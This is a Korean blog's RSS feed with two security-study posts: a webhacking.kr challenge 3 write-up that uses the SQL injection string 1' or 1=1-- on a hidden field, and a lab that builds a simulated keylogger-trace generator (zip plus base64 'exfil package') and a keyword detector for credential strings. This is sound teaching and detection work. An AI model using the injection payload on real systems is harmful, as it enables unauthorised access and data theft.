<?xml version="1.0" encoding="UTF-8"?>
<rss version="2.0">
  <channel>
    <title>TigerDemon</title>
    <link>https://tigerdemon.tistory.com/</link>
    <description></description>
    <language>ko</language>
    <pubDate>Mon, 6 Apr 2026 03:12:33 +0900</pubDate>
    <generator>TISTORY</generator>
    <ttl>100</ttl>
    <managingEditor>호랑2D</managingEditor>
    <image>
      <title>TigerDemon</title>
      <url>https://tistory1.daumcdn.net/tistory/6234124/attach/2aa97094d20c4ea99d2f3ad56dd203e0</url>
      <link>https://tigerdemon.tistory.com</link>
    </image>
    <item>
      <title>webhacking.kr 3</title>
      <link>https://tigerdemon.tistory.com/215</link>
      <description>&lt;p data-ke-size=&quot;size16&quot;&gt;&lt;a href=&quot;https://webhacking.kr/challenge/web-03/&quot; target=&quot;_blank&quot; rel=&quot;noopener&amp;nbsp;noreferrer&quot;&gt;https://webhacking.kr/challenge/web-03/&lt;/a&gt;&lt;/p&gt;
&lt;figure id=&quot;og_1774430966353&quot; contenteditable=&quot;false&quot; data-ke-type=&quot;opengraph&quot; data-ke-align=&quot;alignCenter&quot; data-og-type=&quot;website&quot; data-og-title=&quot;Challenge 3&quot; data-og-description=&quot;&quot; data-og-host=&quot;webhacking.kr&quot; data-og-source-url=&quot;https://webhacking.kr/challenge/web-03/&quot; data-og-url=&quot;https://webhacking.kr/challenge/web-03/&quot; data-og-image=&quot;&quot;&gt;&lt;a href=&quot;https://webhacking.kr/challenge/web-03/&quot; target=&quot;_blank&quot; rel=&quot;noopener&quot; data-source-url=&quot;https://webhacking.kr/challenge/web-03/&quot;&gt;
&lt;div class=&quot;og-image&quot; style=&quot;background-image: url();&quot;&gt;&amp;nbsp;&lt;/div&gt;
&lt;div class=&quot;og-text&quot;&gt;
&lt;p class=&quot;og-title&quot; data-ke-size=&quot;size16&quot;&gt;Challenge 3&lt;/p&gt;
&lt;p class=&quot;og-desc&quot; data-ke-size=&quot;size16&quot;&gt;&amp;nbsp;&lt;/p&gt;
&lt;p class=&quot;og-host&quot; data-ke-size=&quot;size16&quot;&gt;webhacking.kr&lt;/p&gt;
&lt;/div&gt;
&lt;/a&gt;&lt;/figure&gt;
&lt;p data-ke-size=&quot;size16&quot;&gt;문제를 들어가보면 아래 사진처럼 뜹니다. 따라서 문제를 풀어주었습니다.&lt;/p&gt;
&lt;p&gt;&lt;figure class=&quot;imagegridblock&quot;&gt;
  &lt;div class=&quot;image-container&quot;&gt;&lt;span data-url=&quot;https://blog.kakaocdn.net/dn/mUtjf/dJMb99Z6Y6l/cuNP6xTsswEHCAGIT1PsQK/img.png&quot; data-phocus=&quot;https://blog.kakaocdn.net/dn/mUtjf/dJMb99Z6Y6l/cuNP6xTsswEHCAGIT1PsQK/img.png&quot; data-origin-width=&quot;731&quot; data-origin-height=&quot;734&quot; data-is-animation=&quot;false&quot; style=&quot;width: 49.6912%; margin-right: 10px;&quot; data-widthpercent=&quot;50.28&quot;&gt;&lt;img src=&quot;https://blog.kakaocdn.net/dn/mUtjf/dJMb99Z6Y6l/cuNP6xTsswEHCAGIT1PsQK/img.png&quot; srcset=&quot;https://img1.daumcdn.net/thumb/R1280x0/?scode=mtistory2&amp;amp;fname=https%3A%2F%2Fblog.kakaocdn.net%2Fdn%2FmUtjf%2FdJMb99Z6Y6l%2FcuNP6xTsswEHCAGIT1PsQK%2Fimg.png&quot; onerror=&quot;this.onerror=null; this.src='//t1.daumcdn.net/tistory_admin/static/images/no-image-v1.png'; this.srcset='//t1.daumcdn.net/tistory_admin/static/images/no-image-v1.png';&quot; loading=&quot;lazy&quot; width=&quot;731&quot; height=&quot;734&quot;/&gt;&lt;/span&gt;&lt;span data-url=&quot;https://blog.kakaocdn.net/dn/blP4zG/dJMb996QU8E/MfZhLoEVfh3o2sskVWInkk/img.png&quot; data-phocus=&quot;https://blog.kakaocdn.net/dn/blP4zG/dJMb996QU8E/MfZhLoEVfh3o2sskVWInkk/img.png&quot; data-origin-width=&quot;656&quot; data-origin-height=&quot;666&quot; data-is-animation=&quot;false&quot; style=&quot;width: 49.146%;&quot; data-widthpercent=&quot;49.72&quot;&gt;&lt;img src=&quot;https://blog.kakaocdn.net/dn/blP4zG/dJMb996QU8E/MfZhLoEVfh3o2sskVWInkk/img.png&quot; srcset=&quot;https://img1.daumcdn.net/thumb/R1280x0/?scode=mtistory2&amp;amp;fname=https%3A%2F%2Fblog.kakaocdn.net%2Fdn%2FblP4zG%2FdJMb996QU8E%2FMfZhLoEVfh3o2sskVWInkk%2Fimg.png&quot; onerror=&quot;this.onerror=null; this.src='//t1.daumcdn.net/tistory_admin/static/images/no-image-v1.png'; this.srcset='//t1.daumcdn.net/tistory_admin/static/images/no-image-v1.png';&quot; loading=&quot;lazy&quot; width=&quot;656&quot; height=&quot;666&quot;/&gt;&lt;/span&gt;&lt;/div&gt;
&lt;/figure&gt;
&lt;/p&gt;
&lt;p data-ke-size=&quot;size16&quot;&gt;&amp;nbsp;&lt;/p&gt;
&lt;p data-ke-size=&quot;size16&quot;&gt;Solved 버튼을 누르면 아래 처럼 뜹니다.&lt;/p&gt;
&lt;p&gt;&lt;figure class=&quot;imageblock alignCenter&quot; data-ke-mobileStyle=&quot;widthOrigin&quot; data-origin-width=&quot;486&quot; data-origin-height=&quot;124&quot;&gt;&lt;span data-url=&quot;https://blog.kakaocdn.net/dn/rqzI7/dJMcahKA4aJ/NORikAYu4h5RvpWlIkjOn1/img.png&quot; data-phocus=&quot;https://blog.kakaocdn.net/dn/rqzI7/dJMcahKA4aJ/NORikAYu4h5RvpWlIkjOn1/img.png&quot;&gt;&lt;img src=&quot;https://blog.kakaocdn.net/dn/rqzI7/dJMcahKA4aJ/NORikAYu4h5RvpWlIkjOn1/img.png&quot; srcset=&quot;https://img1.daumcdn.net/thumb/R1280x0/?scode=mtistory2&amp;fname=https%3A%2F%2Fblog.kakaocdn.net%2Fdn%2FrqzI7%2FdJMcahKA4aJ%2FNORikAYu4h5RvpWlIkjOn1%2Fimg.png&quot; onerror=&quot;this.onerror=null; this.src='//t1.daumcdn.net/tistory_admin/static/images/no-image-v1.png'; this.srcset='//t1.daumcdn.net/tistory_admin/static/images/no-image-v1.png';&quot; loading=&quot;lazy&quot; width=&quot;486&quot; height=&quot;124&quot; data-origin-width=&quot;486&quot; data-origin-height=&quot;124&quot;/&gt;&lt;/span&gt;&lt;/figure&gt;
&lt;/p&gt;
&lt;p data-ke-size=&quot;size16&quot;&gt;&amp;nbsp;&lt;/p&gt;
&lt;p data-ke-size=&quot;size16&quot;&gt;입력을 했을때 name, answer, ip가 뜹니다.&lt;/p&gt;
&lt;p&gt;&lt;figure class=&quot;imageblock alignCenter&quot; data-ke-mobileStyle=&quot;widthOrigin&quot; data-origin-width=&quot;577&quot; data-origin-height=&quot;451&quot;&gt;&lt;span data-url=&quot;https://blog.kakaocdn.net/dn/bJz6Un/dJMcacWM1LB/FUd586ma0PN4aiphmtKfu0/img.png&quot; data-phocus=&quot;https://blog.kakaocdn.net/dn/bJz6Un/dJMcacWM1LB/FUd586ma0PN4aiphmtKfu0/img.png&quot;&gt;&lt;img src=&quot;https://blog.kakaocdn.net/dn/bJz6Un/dJMcacWM1LB/FUd586ma0PN4aiphmtKfu0/img.png&quot; srcset=&quot;https://img1.daumcdn.net/thumb/R1280x0/?scode=mtistory2&amp;fname=https%3A%2F%2Fblog.kakaocdn.net%2Fdn%2FbJz6Un%2FdJMcacWM1LB%2FFUd586ma0PN4aiphmtKfu0%2Fimg.png&quot; onerror=&quot;this.onerror=null; this.src='//t1.daumcdn.net/tistory_admin/static/images/no-image-v1.png'; this.srcset='//t1.daumcdn.net/tistory_admin/static/images/no-image-v1.png';&quot; loading=&quot;lazy&quot; width=&quot;577&quot; height=&quot;451&quot; data-origin-width=&quot;577&quot; data-origin-height=&quot;451&quot;/&gt;&lt;/span&gt;&lt;/figure&gt;
&lt;/p&gt;
&lt;p data-ke-size=&quot;size16&quot;&gt;개발자 도구로 들어가 코드를 확인해보면 아래처럼 뜹니다.&lt;/p&gt;
&lt;p data-ke-size=&quot;size16&quot;&gt;이때 input type=&quot;hidden&quot;의 의미는 중요한 정보를 안전하게 유지하는 역할을 합니다.&lt;/p&gt;
&lt;p data-ke-size=&quot;size16&quot;&gt;웹사이트 보안을 개선하기 위해 보안 토큰 또는 secret을 저장하고 제출하는 데에 사용된다.&amp;nbsp;&lt;/p&gt;
&lt;p data-ke-size=&quot;size16&quot;&gt;&amp;nbsp;&lt;/p&gt;
&lt;p data-ke-size=&quot;size16&quot;&gt;&amp;nbsp;&lt;/p&gt;
&lt;p&gt;&lt;figure class=&quot;imageblock alignCenter&quot; data-ke-mobileStyle=&quot;widthOrigin&quot; data-origin-width=&quot;956&quot; data-origin-height=&quot;493&quot;&gt;&lt;span data-url=&quot;https://blog.kakaocdn.net/dn/Xws7z/dJMb99Z6ZiB/jW0ZLRmA3QMc9XbCeEoNW1/img.png&quot; data-phocus=&quot;https://blog.kakaocdn.net/dn/Xws7z/dJMb99Z6ZiB/jW0ZLRmA3QMc9XbCeEoNW1/img.png&quot;&gt;&lt;img src=&quot;https://blog.kakaocdn.net/dn/Xws7z/dJMb99Z6ZiB/jW0ZLRmA3QMc9XbCeEoNW1/img.png&quot; srcset=&quot;https://img1.daumcdn.net/thumb/R1280x0/?scode=mtistory2&amp;fname=https%3A%2F%2Fblog.kakaocdn.net%2Fdn%2FXws7z%2FdJMb99Z6ZiB%2FjW0ZLRmA3QMc9XbCeEoNW1%2Fimg.png&quot; onerror=&quot;this.onerror=null; this.src='//t1.daumcdn.net/tistory_admin/static/images/no-image-v1.png'; this.srcset='//t1.daumcdn.net/tistory_admin/static/images/no-image-v1.png';&quot; loading=&quot;lazy&quot; width=&quot;956&quot; height=&quot;493&quot; data-origin-width=&quot;956&quot; data-origin-height=&quot;493&quot;/&gt;&lt;/span&gt;&lt;/figure&gt;
&lt;/p&gt;
&lt;p data-ke-size=&quot;size16&quot;&gt;&amp;nbsp;&lt;/p&gt;
&lt;p data-ke-size=&quot;size16&quot;&gt;따라서 해당 value 부분에 sql injection을 해본다. 1' or 1=1-- &quot; 로 바꿔서 입력하고 submit을 하니 문제가 해결됐다.&amp;nbsp;&lt;/p&gt;
&lt;p&gt;&lt;figure class=&quot;imageblock alignCenter&quot; data-ke-mobileStyle=&quot;widthOrigin&quot; data-origin-width=&quot;884&quot; data-origin-height=&quot;493&quot;&gt;&lt;span data-url=&quot;https://blog.kakaocdn.net/dn/oqNO9/dJMcagEVL0T/nK03oKtHAEdNMs2Hf7enVK/img.png&quot; data-phocus=&quot;https://blog.kakaocdn.net/dn/oqNO9/dJMcagEVL0T/nK03oKtHAEdNMs2Hf7enVK/img.png&quot;&gt;&lt;img src=&quot;https://blog.kakaocdn.net/dn/oqNO9/dJMcagEVL0T/nK03oKtHAEdNMs2Hf7enVK/img.png&quot; srcset=&quot;https://img1.daumcdn.net/thumb/R1280x0/?scode=mtistory2&amp;fname=https%3A%2F%2Fblog.kakaocdn.net%2Fdn%2FoqNO9%2FdJMcagEVL0T%2FnK03oKtHAEdNMs2Hf7enVK%2Fimg.png&quot; onerror=&quot;this.onerror=null; this.src='//t1.daumcdn.net/tistory_admin/static/images/no-image-v1.png'; this.srcset='//t1.daumcdn.net/tistory_admin/static/images/no-image-v1.png';&quot; loading=&quot;lazy&quot; width=&quot;884&quot; height=&quot;493&quot; data-origin-width=&quot;884&quot; data-origin-height=&quot;493&quot;/&gt;&lt;/span&gt;&lt;/figure&gt;
&lt;figure class=&quot;imageblock alignCenter&quot; data-ke-mobileStyle=&quot;widthOrigin&quot; data-origin-width=&quot;482&quot; data-origin-height=&quot;173&quot;&gt;&lt;span data-url=&quot;https://blog.kakaocdn.net/dn/WzVLm/dJMcafzfjMC/WG6DYcUKQuw24ktLX5hO81/img.png&quot; data-phocus=&quot;https://blog.kakaocdn.net/dn/WzVLm/dJMcafzfjMC/WG6DYcUKQuw24ktLX5hO81/img.png&quot;&gt;&lt;img src=&quot;https://blog.kakaocdn.net/dn/WzVLm/dJMcafzfjMC/WG6DYcUKQuw24ktLX5hO81/img.png&quot; srcset=&quot;https://img1.daumcdn.net/thumb/R1280x0/?scode=mtistory2&amp;fname=https%3A%2F%2Fblog.kakaocdn.net%2Fdn%2FWzVLm%2FdJMcafzfjMC%2FWG6DYcUKQuw24ktLX5hO81%2Fimg.png&quot; onerror=&quot;this.onerror=null; this.src='//t1.daumcdn.net/tistory_admin/static/images/no-image-v1.png'; this.srcset='//t1.daumcdn.net/tistory_admin/static/images/no-image-v1.png';&quot; loading=&quot;lazy&quot; width=&quot;482&quot; height=&quot;173&quot; data-origin-width=&quot;482&quot; data-origin-height=&quot;173&quot;/&gt;&lt;/span&gt;&lt;/figure&gt;
&lt;/p&gt;</description>
      <category>2026-SWLUG/웹해킹</category>
      <author>호랑2D</author>
      <guid isPermaLink="true">https://tigerdemon.tistory.com/215</guid>
      <comments>https://tigerdemon.tistory.com/215#entry215comment</comments>
      <pubDate>Wed, 25 Mar 2026 18:47:17 +0900</pubDate>
    </item>
    <item>
      <title>8주차 keylogger 실습</title>
      <link>https://tigerdemon.tistory.com/214</link>
      <description>&lt;p data-ke-size=&quot;size16&quot;&gt;pe_parser_project로 들어가서 cmd 열고 아래 명령어를 입력해 가상환경을 활성화시켜준다.&amp;nbsp;&lt;/p&gt;
&lt;pre id=&quot;code_1763466281342&quot; class=&quot;html xml&quot; data-ke-language=&quot;html&quot; data-ke-type=&quot;codeblock&quot;&gt;&lt;code&gt;venv\Scripts\activate.bat&lt;/code&gt;&lt;/pre&gt;
&lt;p data-ke-size=&quot;size16&quot;&gt;&amp;nbsp;&lt;/p&gt;
&lt;h3 data-ke-size=&quot;size23&quot;&gt;1. 흔적 생성기 만들기 - sim_keylogger_writer.py&lt;/h3&gt;
&lt;p data-ke-size=&quot;size16&quot;&gt;pe_parser_project 폴더 내에 sim_keylogger_writer.py 파일을 생성하고 아래 코드를 적어준다.&lt;/p&gt;
&lt;pre id=&quot;code_1763466351929&quot; class=&quot;html xml&quot; data-ke-language=&quot;html&quot; data-ke-type=&quot;codeblock&quot;&gt;&lt;code&gt;# sim_keylogger_writer.py
# 안전 시뮬레이터: 키로깅 &quot;흔적&quot; 텍스트 파일 여러 개 생성 + 압축/인코딩 모사
import os, base64, zipfile
from datetime import datetime

outdir = os.path.join(os.getcwd(), &quot;sim_logs&quot;)
os.makedirs(outdir, exist_ok=True)

# 1) 생성할 키로그 예시 (모의 데이터, 민감정보 금지)
samples = [
    &quot;2025-11-05 10:01:12 | user:lee | input:loginid=student1&quot;,
    &quot;2025-11-05 10:01:14 | user:lee | input:password=abcd1234&quot;,
    &quot;2025-11-05 10:02:01 | user:lee | input:search=how to write report&quot;,
    &quot;2025-11-05 10:05:23 | user:lee | input:note=final presentation slide&quot;
]

# create multiple log files
for i, s in enumerate(samples, start=1):
    fname = os.path.join(outdir, f&quot;kbd_{i}.log&quot;)
    with open(fname, &quot;w&quot;, encoding=&quot;utf-8&quot;) as f:
        for j in range(20):  # 반복하여 길게 만듦
            f.write(f&quot;{s} | entry#{j}\n&quot;)

# 2) create a zip (simulate exfil package)
zip_path = os.path.join(outdir, &quot;collected_logs.zip&quot;)
with zipfile.ZipFile(zip_path, &quot;w&quot;, compression=zipfile.ZIP_DEFLATED) as zf:
    for f in os.listdir(outdir):
        if f.endswith(&quot;.log&quot;):
            zf.write(os.path.join(outdir, f), arcname=f)

# 3) create a base64-encoded blob (simulate embedding/obfuscation)
with open(zip_path, &quot;rb&quot;) as z:
    b64 = base64.b64encode(z.read())

with open(os.path.join(outdir, &quot;payload.b64&quot;), &quot;wb&quot;) as f:
    f.write(b64)

print(&quot;[*] 생성완료:&quot;, outdir)&lt;/code&gt;&lt;/pre&gt;
&lt;p data-ke-size=&quot;size16&quot;&gt;&amp;nbsp;&lt;/p&gt;
&lt;p data-ke-size=&quot;size16&quot;&gt;그리고 아래 사진처럼 python sim_keylogger_writer.py로 실행해준다.&lt;/p&gt;
&lt;p&gt;&lt;figure class=&quot;imageblock alignCenter&quot; data-ke-mobileStyle=&quot;widthOrigin&quot; data-origin-width=&quot;876&quot; data-origin-height=&quot;61&quot;&gt;&lt;span data-url=&quot;https://blog.kakaocdn.net/dn/w7PPI/dJMcacg9bBW/SY97EfTI1zBRjgKgKaVSD0/img.png&quot; data-phocus=&quot;https://blog.kakaocdn.net/dn/w7PPI/dJMcacg9bBW/SY97EfTI1zBRjgKgKaVSD0/img.png&quot;&gt;&lt;img src=&quot;https://blog.kakaocdn.net/dn/w7PPI/dJMcacg9bBW/SY97EfTI1zBRjgKgKaVSD0/img.png&quot; srcset=&quot;https://img1.daumcdn.net/thumb/R1280x0/?scode=mtistory2&amp;fname=https%3A%2F%2Fblog.kakaocdn.net%2Fdn%2Fw7PPI%2FdJMcacg9bBW%2FSY97EfTI1zBRjgKgKaVSD0%2Fimg.png&quot; onerror=&quot;this.onerror=null; this.src='//t1.daumcdn.net/tistory_admin/static/images/no-image-v1.png'; this.srcset='//t1.daumcdn.net/tistory_admin/static/images/no-image-v1.png';&quot; loading=&quot;lazy&quot; width=&quot;876&quot; height=&quot;61&quot; data-origin-width=&quot;876&quot; data-origin-height=&quot;61&quot;/&gt;&lt;/span&gt;&lt;/figure&gt;
&lt;/p&gt;
&lt;p data-ke-size=&quot;size16&quot;&gt;&amp;nbsp;&lt;/p&gt;
&lt;p data-ke-size=&quot;size16&quot;&gt;그러면 아래 파일들이 생성된 것을 볼 수 있다.&amp;nbsp;&lt;/p&gt;
&lt;p&gt;&lt;figure class=&quot;imageblock alignCenter&quot; data-ke-mobileStyle=&quot;widthOrigin&quot; data-origin-width=&quot;530&quot; data-origin-height=&quot;261&quot;&gt;&lt;span data-url=&quot;https://blog.kakaocdn.net/dn/kNDN3/dJMcahvZsSS/dIkdXMD0wA9xkBJxzA9NPK/img.png&quot; data-phocus=&quot;https://blog.kakaocdn.net/dn/kNDN3/dJMcahvZsSS/dIkdXMD0wA9xkBJxzA9NPK/img.png&quot; data-alt=&quot;sim_logs 폴더&quot;&gt;&lt;img src=&quot;https://blog.kakaocdn.net/dn/kNDN3/dJMcahvZsSS/dIkdXMD0wA9xkBJxzA9NPK/img.png&quot; srcset=&quot;https://img1.daumcdn.net/thumb/R1280x0/?scode=mtistory2&amp;fname=https%3A%2F%2Fblog.kakaocdn.net%2Fdn%2FkNDN3%2FdJMcahvZsSS%2FdIkdXMD0wA9xkBJxzA9NPK%2Fimg.png&quot; onerror=&quot;this.onerror=null; this.src='//t1.daumcdn.net/tistory_admin/static/images/no-image-v1.png'; this.srcset='//t1.daumcdn.net/tistory_admin/static/images/no-image-v1.png';&quot; loading=&quot;lazy&quot; width=&quot;530&quot; height=&quot;261&quot; data-origin-width=&quot;530&quot; data-origin-height=&quot;261&quot;/&gt;&lt;/span&gt;&lt;figcaption&gt;sim_logs 폴더&lt;/figcaption&gt;
&lt;/figure&gt;
&lt;/p&gt;
&lt;h3 data-ke-size=&quot;size23&quot;&gt;2. &quot;리소스에 임베드된 것 처럼&quot; 모사 - payload_embedded.bin&lt;/h3&gt;
&lt;p data-ke-size=&quot;size16&quot;&gt;아래 사진처럼 명령어를 입력하면 실제 exe의 리소스에 embed하는 대신 단순 복사로 모사한다. 정적분석 도구로 리소스 내부 문자열 추출을 연습할 수 있다.&amp;nbsp;&lt;/p&gt;
&lt;p&gt;&lt;figure class=&quot;imageblock alignCenter&quot; data-ke-mobileStyle=&quot;widthOrigin&quot; data-origin-width=&quot;1064&quot; data-origin-height=&quot;59&quot;&gt;&lt;span data-url=&quot;https://blog.kakaocdn.net/dn/2ATIV/dJMcaf50SVd/uApuYfkY5UAFQlRqKKKW60/img.png&quot; data-phocus=&quot;https://blog.kakaocdn.net/dn/2ATIV/dJMcaf50SVd/uApuYfkY5UAFQlRqKKKW60/img.png&quot;&gt;&lt;img src=&quot;https://blog.kakaocdn.net/dn/2ATIV/dJMcaf50SVd/uApuYfkY5UAFQlRqKKKW60/img.png&quot; srcset=&quot;https://img1.daumcdn.net/thumb/R1280x0/?scode=mtistory2&amp;fname=https%3A%2F%2Fblog.kakaocdn.net%2Fdn%2F2ATIV%2FdJMcaf50SVd%2FuApuYfkY5UAFQlRqKKKW60%2Fimg.png&quot; onerror=&quot;this.onerror=null; this.src='//t1.daumcdn.net/tistory_admin/static/images/no-image-v1.png'; this.srcset='//t1.daumcdn.net/tistory_admin/static/images/no-image-v1.png';&quot; loading=&quot;lazy&quot; width=&quot;1064&quot; height=&quot;59&quot; data-origin-width=&quot;1064&quot; data-origin-height=&quot;59&quot;/&gt;&lt;/span&gt;&lt;/figure&gt;
&lt;/p&gt;
&lt;p data-ke-size=&quot;size16&quot;&gt;&amp;nbsp;&lt;/p&gt;
&lt;h3 data-ke-size=&quot;size23&quot;&gt;3. 정적 문자열 분석 - analyze_deep.py&lt;/h3&gt;
&lt;p data-ke-size=&quot;size16&quot;&gt;두가지를 분석할 수 있다.&lt;/p&gt;
&lt;p&gt;&lt;figure class=&quot;imagegridblock&quot;&gt;
  &lt;div class=&quot;image-container&quot;&gt;&lt;span data-url=&quot;https://blog.kakaocdn.net/dn/d2Au2o/dJMcahJwJUc/9nUnmIgWXyLK3j0OsAKhj0/img.png&quot; data-phocus=&quot;https://blog.kakaocdn.net/dn/d2Au2o/dJMcahJwJUc/9nUnmIgWXyLK3j0OsAKhj0/img.png&quot; data-origin-width=&quot;929&quot; data-origin-height=&quot;449&quot; data-is-animation=&quot;false&quot; style=&quot;width: 49.3635%; margin-right: 10px;&quot; data-widthpercent=&quot;49.94&quot;&gt;&lt;img src=&quot;https://blog.kakaocdn.net/dn/d2Au2o/dJMcahJwJUc/9nUnmIgWXyLK3j0OsAKhj0/img.png&quot; srcset=&quot;https://img1.daumcdn.net/thumb/R1280x0/?scode=mtistory2&amp;amp;fname=https%3A%2F%2Fblog.kakaocdn.net%2Fdn%2Fd2Au2o%2FdJMcahJwJUc%2F9nUnmIgWXyLK3j0OsAKhj0%2Fimg.png&quot; onerror=&quot;this.onerror=null; this.src='//t1.daumcdn.net/tistory_admin/static/images/no-image-v1.png'; this.srcset='//t1.daumcdn.net/tistory_admin/static/images/no-image-v1.png';&quot; loading=&quot;lazy&quot; width=&quot;929&quot; height=&quot;449&quot;/&gt;&lt;/span&gt;&lt;span data-url=&quot;https://blog.kakaocdn.net/dn/vczdY/dJMcagcMuPc/e1AV0ZBAnAmqulXPWgOZG1/img.png&quot; data-phocus=&quot;https://blog.kakaocdn.net/dn/vczdY/dJMcagcMuPc/e1AV0ZBAnAmqulXPWgOZG1/img.png&quot; data-origin-width=&quot;929&quot; data-origin-height=&quot;448&quot; data-is-animation=&quot;false&quot; style=&quot;width: 49.4737%;&quot; data-widthpercent=&quot;50.06&quot;&gt;&lt;img src=&quot;https://blog.kakaocdn.net/dn/vczdY/dJMcagcMuPc/e1AV0ZBAnAmqulXPWgOZG1/img.png&quot; srcset=&quot;https://img1.daumcdn.net/thumb/R1280x0/?scode=mtistory2&amp;amp;fname=https%3A%2F%2Fblog.kakaocdn.net%2Fdn%2FvczdY%2FdJMcagcMuPc%2Fe1AV0ZBAnAmqulXPWgOZG1%2Fimg.png&quot; onerror=&quot;this.onerror=null; this.src='//t1.daumcdn.net/tistory_admin/static/images/no-image-v1.png'; this.srcset='//t1.daumcdn.net/tistory_admin/static/images/no-image-v1.png';&quot; loading=&quot;lazy&quot; width=&quot;929&quot; height=&quot;448&quot;/&gt;&lt;/span&gt;&lt;/div&gt;
&lt;/figure&gt;
&lt;/p&gt;
&lt;p data-ke-size=&quot;size16&quot;&gt;&amp;nbsp;&lt;/p&gt;
&lt;h3 data-ke-size=&quot;size23&quot;&gt;4. 간단한 인덱스 로그&lt;/h3&gt;
&lt;p data-ke-size=&quot;size16&quot;&gt;아래 사진과 같이 입력하면 실제 이벤트 로그 대신 텍스트 인덱스를 만들어 '언제/ 무엇이 생성되었는지' 를 증거화한다.&amp;nbsp;&lt;/p&gt;
&lt;p&gt;&lt;figure class=&quot;imageblock alignCenter&quot; data-ke-mobileStyle=&quot;widthOrigin&quot; data-origin-width=&quot;942&quot; data-origin-height=&quot;136&quot;&gt;&lt;span data-url=&quot;https://blog.kakaocdn.net/dn/w1hsg/dJMb995NrvC/KAgYY9ZuRu08Y2uSw3oXjk/img.png&quot; data-phocus=&quot;https://blog.kakaocdn.net/dn/w1hsg/dJMb995NrvC/KAgYY9ZuRu08Y2uSw3oXjk/img.png&quot;&gt;&lt;img src=&quot;https://blog.kakaocdn.net/dn/w1hsg/dJMb995NrvC/KAgYY9ZuRu08Y2uSw3oXjk/img.png&quot; srcset=&quot;https://img1.daumcdn.net/thumb/R1280x0/?scode=mtistory2&amp;fname=https%3A%2F%2Fblog.kakaocdn.net%2Fdn%2Fw1hsg%2FdJMb995NrvC%2FKAgYY9ZuRu08Y2uSw3oXjk%2Fimg.png&quot; onerror=&quot;this.onerror=null; this.src='//t1.daumcdn.net/tistory_admin/static/images/no-image-v1.png'; this.srcset='//t1.daumcdn.net/tistory_admin/static/images/no-image-v1.png';&quot; loading=&quot;lazy&quot; width=&quot;942&quot; height=&quot;136&quot; data-origin-width=&quot;942&quot; data-origin-height=&quot;136&quot;/&gt;&lt;/span&gt;&lt;/figure&gt;
&lt;/p&gt;
&lt;p data-ke-size=&quot;size16&quot;&gt;&amp;nbsp;&lt;/p&gt;
&lt;h3 data-ke-size=&quot;size23&quot;&gt;5. 키워드 기반 탐지 스크립트 - find_keylog_strings.py&lt;/h3&gt;
&lt;p data-ke-size=&quot;size16&quot;&gt;pe_parser_project 폴더 안에 아래 코드를 넣은 find_keylog_strings.py 파일을 만들어준다.&lt;/p&gt;
&lt;pre id=&quot;code_1763466886426&quot; class=&quot;html xml&quot; data-ke-language=&quot;html&quot; data-ke-type=&quot;codeblock&quot;&gt;&lt;code&gt;# find_keylog_strings.py
import os
p = os.path.join(os.getcwd(), &quot;sim_logs&quot;)
keywords = [&quot;password=&quot;, &quot;loginid=&quot;, &quot;kbd_&quot;, &quot;collected_logs&quot;, &quot;payload&quot;]
for root, dirs, files in os.walk(p):
    for fn in files:
        path = os.path.join(root, fn)
        try:
            with open(path, &quot;r&quot;, encoding=&quot;utf-8&quot;, errors=&quot;ignore&quot;) as f:
                data = f.read()
                for kw in keywords:
                    if kw in data:
                        print(f&quot;[FOUND] {kw} in {path}&quot;)
        except Exception as e:
            print(f&quot;[ERR] {path} : {e}&quot;)&lt;/code&gt;&lt;/pre&gt;
&lt;p data-ke-size=&quot;size16&quot;&gt;&amp;nbsp;&lt;/p&gt;
&lt;p data-ke-size=&quot;size16&quot;&gt;그리고 아래와 같이 명령어를 입력해준다.&lt;/p&gt;
&lt;p&gt;&lt;figure class=&quot;imageblock alignCenter&quot; data-ke-mobileStyle=&quot;widthOrigin&quot; data-origin-width=&quot;929&quot; data-origin-height=&quot;168&quot;&gt;&lt;span data-url=&quot;https://blog.kakaocdn.net/dn/bUtTOi/dJMcabie0sW/F6QZbUmkEVKmlLGhPW4Br0/img.png&quot; data-phocus=&quot;https://blog.kakaocdn.net/dn/bUtTOi/dJMcabie0sW/F6QZbUmkEVKmlLGhPW4Br0/img.png&quot;&gt;&lt;img src=&quot;https://blog.kakaocdn.net/dn/bUtTOi/dJMcabie0sW/F6QZbUmkEVKmlLGhPW4Br0/img.png&quot; srcset=&quot;https://img1.daumcdn.net/thumb/R1280x0/?scode=mtistory2&amp;fname=https%3A%2F%2Fblog.kakaocdn.net%2Fdn%2FbUtTOi%2FdJMcabie0sW%2FF6QZbUmkEVKmlLGhPW4Br0%2Fimg.png&quot; onerror=&quot;this.onerror=null; this.src='//t1.daumcdn.net/tistory_admin/static/images/no-image-v1.png'; this.srcset='//t1.daumcdn.net/tistory_admin/static/images/no-image-v1.png';&quot; loading=&quot;lazy&quot; width=&quot;929&quot; height=&quot;168&quot; data-origin-width=&quot;929&quot; data-origin-height=&quot;168&quot;/&gt;&lt;/span&gt;&lt;/figure&gt;
&lt;/p&gt;
&lt;p data-ke-size=&quot;size16&quot;&gt;&amp;nbsp;&lt;/p&gt;
&lt;h3 data-ke-size=&quot;size23&quot;&gt;6. 파일 해시(증거식별) - Windows 명령&lt;/h3&gt;
&lt;p data-ke-size=&quot;size16&quot;&gt;아래와 같이 입력하면 SHA256이 계산된다.&amp;nbsp;&lt;/p&gt;
&lt;p&gt;&lt;figure class=&quot;imageblock alignCenter&quot; data-ke-mobileStyle=&quot;widthOrigin&quot; data-origin-width=&quot;930&quot; data-origin-height=&quot;136&quot;&gt;&lt;span data-url=&quot;https://blog.kakaocdn.net/dn/dPSwmx/dJMcacuGrA3/y8jNtqRUvYfgHHWzS8BOd0/img.png&quot; data-phocus=&quot;https://blog.kakaocdn.net/dn/dPSwmx/dJMcacuGrA3/y8jNtqRUvYfgHHWzS8BOd0/img.png&quot;&gt;&lt;img src=&quot;https://blog.kakaocdn.net/dn/dPSwmx/dJMcacuGrA3/y8jNtqRUvYfgHHWzS8BOd0/img.png&quot; srcset=&quot;https://img1.daumcdn.net/thumb/R1280x0/?scode=mtistory2&amp;fname=https%3A%2F%2Fblog.kakaocdn.net%2Fdn%2FdPSwmx%2FdJMcacuGrA3%2Fy8jNtqRUvYfgHHWzS8BOd0%2Fimg.png&quot; onerror=&quot;this.onerror=null; this.src='//t1.daumcdn.net/tistory_admin/static/images/no-image-v1.png'; this.srcset='//t1.daumcdn.net/tistory_admin/static/images/no-image-v1.png';&quot; loading=&quot;lazy&quot; width=&quot;930&quot; height=&quot;136&quot; data-origin-width=&quot;930&quot; data-origin-height=&quot;136&quot;/&gt;&lt;/span&gt;&lt;/figure&gt;
&lt;/p&gt;
